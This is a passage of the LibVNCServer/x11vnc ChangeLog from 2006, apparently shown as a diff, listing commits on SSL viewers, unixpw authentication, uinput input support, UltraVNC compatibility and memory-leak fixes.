classes/ssl/ssl_vncviewer, configure.ac, + prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: configure.ac -R and macosx, + prepare_x11vnc_dist.sh rpm fix + +2006-10-30 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: Add tip about how to + reenable RECORD extension. + +2006-10-12 dscho + + * VisualNaCro/nacro.c, VisualNaCro/nacro.h: VisualNaCro: add + sendascii + +2006-10-12 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: x11vnc: -cursor_drag for DnD, etc. + +2006-10-11 runge + + * libvncserver/tightvnc-filetransfer/rfbtightserver.c: N_ENC_CAPS + check does not work if libz is not present. + +2006-10-10 dscho + + * VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add + 'i', 'c' and 'r' menu keys + +2006-10-10 dscho + + * VisualNaCro/ChangeLog, VisualNaCro/recorder.pl: VisualNaCro: add + --compact and --compact-dragging + +2006-10-07 runge + + * classes/ssl/ssl_vncviewer, x11vnc/README, + x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca + tion.url, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc + l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Changes for ETV, double + SSL/SSH. + +2006-09-24 runge + + * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/keyboard.c, x11vnc/pointer.c, + x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: improve SSL Java + viewer, cleanup -unixpw code. + +2006-09-21 runge + + * + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc + l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer: sync + etv. profile cleanup + +2006-09-21 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/connections.h, x11vnc/help.c, x11vnc/options.c, + x11vnc/options.h, x11vnc/sslhelper.c, x11vnc/unixpw.c, + x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: + -unixpw_cmd, -passwfile cmd:/custom:, -sslnofail, -ultrafilexfer + +2006-09-18 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc + l: ETV release 1.0.4 + +2006-09-18 runge + + * + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc + l, x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: sync + ETV 1.0.4 + +2006-09-18 runge + + * libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.c: x11vnc: + improve ultravnc filexfer rate by calling rfbCheckFD more often + +2006-09-17 runge + + * + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc + l: Sync ETV. + +2006-09-17 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/cursor.c, x11vnc/help.c, x11vnc/keyboard.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/scan.c, + x11vnc/screen.c, x11vnc/sslcmds.c, x11vnc/sslhelper.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, + x11vnc/xinerama.c, x11vnc/xwrappers.c: x11vnc: -verbose, + -connect_or_exit, -rfbport 0, print out SSL cert. + +2006-09-15 runge + + * x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c: + small tweaks, -sig alias. + +2006-09-15 runge + + * libvncserver/rfbserver.c, x11vnc/ChangeLog, x11vnc/README, + x11vnc/cleanup.c, x11vnc/help.c, x11vnc/screen.c, x11vnc/unixpw.c, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: clear DISPLAY for + -unixpw su_verify, user supplied sig ignore. + +2006-09-14 runge + + * classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README, + x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/COPYING, + x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/esound/downl + oad.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/down + load.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/openssl/loca + tion.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/downlo + ad.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/plink/licenc + e.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/down + load.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/stunnel/loca + tion.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/do + wnload.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/info/vncviewer/lo + cation.url, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-client.co + nf, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/stunnel-server.co + nf, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/w98/location.url, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_tightvncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssl_vnc_gui, + x11vnc/misc/enhanced_tightvnc_viewer/bin/tightvncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_tightvncviewer.tc + l, x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssl_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt, + x11vnc/misc/enhanced_tightvnc_viewer/src/README, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/README, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_vncpatchapplied, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa + tch, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + llscreen.patch, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-ne + wfbsize.patch, + x11vnc/misc/enhanced_tightvnc_viewer/src/zips/README, + x11vnc/remote.c, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: + enhanced_tightvnc_viewer files, ssh -t keystroke response + improvement. + +2006-09-12 dscho + + * VisualNaCro/Makefile.am, libvncserver-config.in: fix in-place + compilation of VisualNaCro + +2006-09-12 dscho + + * VisualNaCro/recorder.pl: fix call to alert() + +2006-09-12 dscho + + * VisualNaCro/NEWS, VisualNaCro/nacro.c, VisualNaCro/nacro.h, + VisualNaCro/recorder.pl: VisualNaCro: add magic key 'd' to display + the current reference image + +2006-09-12 dscho + + * VisualNaCro/nacro.h: forgot to check in nacro.h + +2006-09-12 dscho + + * VisualNaCro/nacro.c, VisualNaCro/recorder.pl: implement rubberband + for rectangular selection + +2006-09-12 dscho + + * VisualNaCro/Makefile.am, VisualNaCro/configure.ac: fix compilation + with cygwin + +2006-09-12 dscho + + * rfb/rfbproto.h, vncterm/LinuxVNC.c, vncterm/VNConsole.c: do not + always include rfb/keysym.h + +2006-09-12 dscho + + * AUTHORS, VisualNaCro/NEWS, VisualNaCro/nacro.c, + VisualNaCro/nacro.h, VisualNaCro/recorder.pl: VisualNaCro: support + clipboard and symbolic key names with X11::Keysyms + +2006-09-12 dscho + + * VisualNaCro/nacro.c, VisualNaCro/nacro.h: support clipboard + +2006-09-11 dscho + + * libvncclient/rfbproto.c, rfb/rfbclient.h: make cut text handling + using a hook + +2006-09-10 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cursor.c, x11vnc/help.c, + x11vnc/ssltools.h, x11vnc/uinput.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: REQ_ARGS, + EV_SYN/SYN_REPORT check. restore -cursor most under -display WAIT + +2006-09-05 runge + + * classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer: Update + ssl_vncviewer. Fix bug in proxy.vnc with multiple PORT= params. + +2006-08-10 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/linuxfb.c, + x11vnc/uinput.c, x11vnc/uinput.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: first pass at + touchscreens via uinput. + +2006-08-02 runge + + * x11vnc/ChangeLog: add to changelog + +2006-08-02 runge + + * classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/help.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, + x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: + tweaks to ssl_xfer; -ssltimeout option. + +2006-07-31 runge + + * classes/ssl/ssl_vncviewer, x11vnc/README, x11vnc/pointer.c, + x11vnc/scan.c, x11vnc/scan.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: + x11vnc: more features to ssl_vncviewer for enhanced tightvnc viewer + project + +2006-07-29 runge + + * classes/ssl/ssl_vncviewer: one more tweak, start from disp 30 + +2006-07-29 runge + + * classes/ssl/ssl_vncviewer: add debug = 6 to stunnel config. + +2006-07-28 runge + + * classes/ssl/ssl_vncviewer, x11vnc/ChangeLog, x11vnc/README, + x11vnc/cursor.c, x11vnc/help.c, x11vnc/params.h, x11vnc/pointer.c, + x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, + x11vnc/screen.h, x11vnc/solid.c, x11vnc/sslcmds.c, + x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: x11vnc: -rotate option + +2006-07-18 runge + + * ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, + x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/cursor.c, x11vnc/gui.c, + x11vnc/keyboard.c, x11vnc/linuxfb.c, x11vnc/nox11.h, + x11vnc/nox11_funcs.h, x11vnc/pointer.c, x11vnc/remote.c, + x11vnc/screen.c, x11vnc/selection.c, x11vnc/solid.c, + x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/userinput.c, + x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, + x11vnc/xevents.c, x11vnc/xwrappers.c: x11vnc: enable --without-x + builds for -rawfb only binaries. + +2006-07-15 runge + + * configure.ac, prepare_x11vnc_dist.sh, x11vnc/README, + x11vnc/help.c, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: update versions for next rel. add some more + shortcuts to user:opts + +2006-07-12 runge + + * ChangeLog, configure.ac: LibVNCServer 0.8.2 release. + +2006-07-12 runge + + * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: set REL8x + +2006-07-12 runge + + * x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, + x11vnc/linuxfb.c, x11vnc/params.h, x11vnc/pointer.c, + x11vnc/screen.c, x11vnc/user.c, x11vnc/x11vnc.1: x11vnc: wording + changes; remove "-rawfb cons" in favor of "console" + +2006-07-11 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, + x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc, + x11vnc/tkx11vnc.h, x11vnc/uinput.c, x11vnc/uinput.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: more + UINPUT mode tweaks. + +2006-07-10 runge + + * x11vnc/README, x11vnc/help.c, x11vnc/remote.c, x11vnc/sslcmds.c, + x11vnc/sslhelper.c, x11vnc/uinput.c, x11vnc/unixpw.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: x11vnc: improve uinput heuristics so button + clicks work on qt-embedded. + +2006-07-09 runge + + * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, + x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/linuxfb.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, + x11vnc/pointer.c, x11vnc/remote.c, x11vnc/screen.c, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c, + x11vnc/uinput.h, x11vnc/util.c, x11vnc/v4l.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add uinput support + for full input into linux fb device (e.g. qt-embed). + +2006-07-05 runge + + * x11vnc/README, x11vnc/keyboard.c: x11vnc: whoops str decl in wrong + place for old compilers. + +2006-07-04 runge + + * x11vnc/README, x11vnc/keyboard.c, x11vnc/pointer.c, + x11vnc/xwrappers.c: x11vnc: check all XKeysymToString() return + values. + +2006-07-04 runge + + * x11vnc/README, x11vnc/keyboard.c, x11vnc/unixpw.c, + x11vnc/unixpw.h: x11vnc: plug a couple unixpw gaps. + +2006-07-04 runge + + * configure.ac, x11vnc/README, x11vnc/inet.c, x11vnc/keyboard.c, + x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.c, + x11vnc/v4l.c, x11vnc/x11vnc.c, x11vnc/x11vnc.h: x11vnc: remove + compiler warnings; HP-UX tweaks. + +2006-07-04 runge + + * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, + x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, + x11vnc/cursor.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, + x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, + x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/unixpw.c, + x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, + x11vnc/xevents.c: x11vnc: more -unixpw work. add -license, etc. + options + +2006-06-24 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/connections.h, x11vnc/gui.c, + x11vnc/scan.c, x11vnc/solid.c, x11vnc/sslcmds.c, x11vnc/unixpw.c, + x11vnc/user.c, x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, + x11vnc/xwrappers.c: x11vnc: misc cleanup. + +2006-06-18 runge + + * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, + x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h, + x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, + x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, + x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, + x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, + x11vnc/userinput.c, x11vnc/util.c, x11vnc/v4l.c, + x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, + x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xrandr.h, + x11vnc/xwrappers.c: x11vnc: --grabkbd, -grabptr, -env, -allowedcmds, + unixpw+WAIT user fred:options + +2006-06-15 dscho + + * VisualNaCro/README: fix typo + +2006-06-15 dscho + + * VisualNaCro/ChangeLog, VisualNaCro/NEWS, VisualNaCro/recorder.pl: + no need for Time::HiRes to play back + +2006-06-15 dscho + + * VisualNaCro/recorder.pl: add timing + +2006-06-13 runge + + * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, + x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c, + x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: x11vnc: -display WAIT:cmd=FINDDISPLAY, + HTTPONCE, -http_ssl option, Java fixes. + +2006-06-09 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/unixpw.c, x11vnc/user.c: + x11vnc: make -display WAIT + -unixpw work on Solaris. + +2006-06-08 runge + + * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, + x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, + x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/pointer.c, + x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslcmds.c, + x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, + x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, + x11vnc/xkb_bell.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, + x11vnc/xwrappers.h: x11vnc: -display WAIT:..., -users unixpw=, su_verify dpy command. + +2006-06-05 steven_carr + + * libvncclient/rfbproto.c, libvncserver/auth.c, + libvncserver/rfbserver.c: RFB 3.8 clients are well informed + +2006-06-05 steven_carr + + * libvncserver/auth.c: Better support for RFB >= 3.8 protocols + +2006-06-05 steven_carr + + * libvncserver/auth.c: All security types for RFB >= 3.7 *have* to + respond with a Security Result (Even rfbSecTypeNone) + +2006-06-03 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c, + x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h, + x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, + x11vnc/screen.h, x11vnc/sslcmds.c, x11vnc/sslhelper.c, + x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/unixpw.c, x11vnc/userinput.c, x11vnc/win_utils.c, + x11vnc/win_utils.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, + x11vnc/xevents.h, x11vnc/xwrappers.c: x11vnc: -capslock -skip_lockkeys; Alt keys under -rawfb cons. + +2006-06-03 runge + + * libvncserver/auth.c: move all types into handler loop. + +2006-05-29 steven_carr + + * ChangeLog: Identified and removed some memory leaks associated + with the Encodings RRE, CoRRE, ZLIB, and Ultra. KeyboardLedState + now has portable masks defined. rfb >= 3.7 Security Type Handler + list would grow 1 entry for each new client connection. + +2006-05-29 steven_carr + + * libvncserver/auth.c: Security Type memory leak plugged. Leaks + when rfb >= 3.7 clients connects. The security list would grow 1 + entry when clients connect. + +2006-05-28 steven_carr + + * rfb/rfbproto.h: KeyboardLedState Encoding Masks are now defined + for portability + +2006-05-28 steven_carr + + * libvncserver/corre.c, libvncserver/main.c, + libvncserver/private.h, libvncserver/rfbserver.c, + libvncserver/rre.c, libvncserver/ultra.c, libvncserver/zlib.c: + Plugged some memory leakage + +2006-05-16 steven_carr + + * libvncserver/rfbserver.c, rfb/rfb.h: Permit auth.c to test major + version + +2006-05-16 steven_carr + + * libvncserver/auth.c: Specifically test for Major Version 3 added + +2006-05-16 steven_carr + + * ChangeLog, libvncserver/stats.c: Statistics now fit into 80-column + output + +2006-05-16 steven_carr + + * libvncserver/stats.c: Statistics output now fits in 80-column + output + +2006-05-16 steven_carr + + * libvncserver/cursor.c: Corrected Cursor Statistics reporting as + messages + +2006-05-15 dscho + + * libvncserver/tightvnc-filetransfer/Makefile.am: remove unneeded + file + +2006-05-15 steven_carr + + * libvncserver/rfbserver.c, rfb/rfb.h: Support sending TextChat + messages back to the client + +2006-05-15 steven_carr + + * ChangeLog, libvncserver/cargs.c, libvncserver/main.c, + libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: Default to RFB + 3.8, add command line option to specify the RFB version. + +2006-05-15 steven_carr + + * ChangeLog, client_examples/SDLvncviewer.c, + libvncclient/rfbproto.c, libvncclient/ultra.c, libvncclient/zrle.c, + libvncserver/auth.c, libvncserver/corre.c, libvncserver/cursor.c, + libvncserver/hextile.c, libvncserver/main.c, + libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c, + libvncserver/sockets.c, libvncserver/stats.c, libvncserver/tight.c, + libvncserver/tightvnc-filetransfer/rfbtightproto.h, + libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c, + rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/rates.c, + x11vnc/userinput.c: The great UltraVNC Compatibility Commit + +2006-05-13 runge + + * ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h, + libvncclient/minilzo.c, libvncclient/minilzo.h, + libvncserver/lzoconf.h, libvncserver/minilzo.c, + libvncserver/minilzo.h, libvncserver/rfbserver.c, + libvncserver/scale.c, vncterm/Makefile.am: fix some build issues WRT ultravnc code. + +2006-05-07 runge + + * ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, + x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c, + x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, + x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/options.c, + x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pointer.c, + x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, + x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c, + x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/v4l.c, + x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, + x11vnc/xevents.c, x11vnc/xinerama.c, x11vnc/xkb_bell.c, + x11vnc/xrandr.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, + x11vnc/xwrappers.h: x11vnc: support for video4linux webcams & tv-tuners, -24to32 bpp + option, -rawfb console. + +2006-05-04 steven_carr + + * ChangeLog, libvncclient/rfbproto.c, libvncserver/rfbserver.c, + rfb/rfb.h, rfb/rfbproto.h, x11vnc/screen.c: Server Capability + Encodings rfbEncodingSupportedEncodings - What encodings are + supported? rfbEncodingSupportedMessages - What message types are + supported? rfbEncodingServerIdentity - What is the servers + version string? ie: "x11vnc: 0.8.1 lastmod: 2006-04-25 (LibVNCServer + 0.9pre)" + +2006-05-04 steven_carr + + * libvncclient/rfbproto.c: UltraVNC with scaling, will send + rectangles with a zero W or H We need to process the rectangle + (especially if it a type that contains subrectangles or any kind of + compression). UltraVNC should be fixed to prevent these useless + rectangles from being sent. + +2006-05-04 steven_carr + + * libvncclient/rfbproto.c, libvncclient/vncviewer.c, + rfb/rfbclient.h: Client side support for PalmVNC/UltraVNC 'Server + Side Scaling' + +2006-05-04 steven_carr + + * rfb/rfbproto.h: KeyboardLedState should be placed in 'various + protocol extensions' + +2006-05-03 steven_carr + + * ChangeLog, libvncserver/Makefile.am, libvncserver/corre.c, + libvncserver/cursor.c, libvncserver/hextile.c, libvncserver/main.c, + libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c, + libvncserver/scale.h, libvncserver/stats.c, libvncserver/tight.c, + libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c, + rfb/rfb.h: Client Independent Server Side Scaling is now supported + Both PalmVNC and UltraVNC SetScale messages are supported + +2006-05-02 steven_carr + + * ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h, + libvncclient/minilzo.c, libvncclient/minilzo.h, + libvncclient/rfbproto.c, libvncclient/ultra.c, + libvncclient/vncviewer.c, libvncserver/Makefile.am, + libvncserver/lzoconf.h, libvncserver/minilzo.c, + libvncserver/minilzo.h, libvncserver/rfbserver.c, + libvncserver/ultra.c, rfb/rfb.h, rfb/rfbclient.h: Ultra Encoding + added. Tested against UltraVNC V1.01 + +2006-05-02 steven_carr + + * libvncclient/rfbproto.c: CopyRectangle() BPP!=8 bug fixed + +2006-05-02 steven_carr + + * libvncclient/vncviewer.c: Eliminate incompatible pointer + assignment warning (gcc 4.0.1) + +2006-05-02 steven_carr + + * libvncclient/hextile.c, libvncclient/tight.c, libvncclient/zlib.c: + signed vs unsigned warnings eliminated (gcc 4.0.1) + +2006-04-30 dscho + + * examples/Makefile.am: include rotatetemplate.c in the tarball + +2006-04-28 dscho + + * client_examples/SDLvncviewer.c, libvncclient/rfbproto.c, + rfb/rfbclient.h: libvncclient: support changing of framebuffer size; + make SDLvncviewer use it + +2006-04-28 dscho + + * client_examples/SDLvncviewer.c: fix SDLvncviewer for widths which + are not divisible by 8 + +2006-04-27 dscho + + * ChangeLog, examples/.cvsignore, examples/Makefile.am, + examples/pnmshow.c, examples/rotate.c, examples/rotatetemplate.c: + add rotate and flip example + +2006-04-27 dscho + + * examples/camera.c: malloc.h should not be needed (it is missing on + quite a few platforms) + +2006-04-26 runge + + * ChangeLog, classes/ssl/ssl_vncviewer, + client_examples/Makefile.am, configure.ac, contrib/Makefile.am, + examples/Makefile.am, libvncclient/Makefile.am, + libvncserver/Makefile.am, + libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am, + x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/help.c, + x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: Make VPATH building work with -I $(top_srcdir) for rfb/rfb.h + +2006-04-17 steven_carr + + * ChangeLog, examples/Makefile.am, examples/camera.c: Added an + example camera application to demonstrate another way to write a + server application. + +2006-04-16 runge + + * classes/ssl/ssl_vncviewer, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, + x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Apache SSL gateway. More web proxy cases for Java and + ssl_vncviewer. + +2006-04-05 runge + + * ChangeLog, classes/ssl/Makefile.am, classes/ssl/README, + classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + configure.ac, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, + x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c, + x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/help.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pm.h, + x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslcmds.c, + x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h, + x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: SSL Java viewer work thru proxy. -sslGenCA, etc key/cert + management utils for x11vnc. FBPM "support". + +2006-03-28 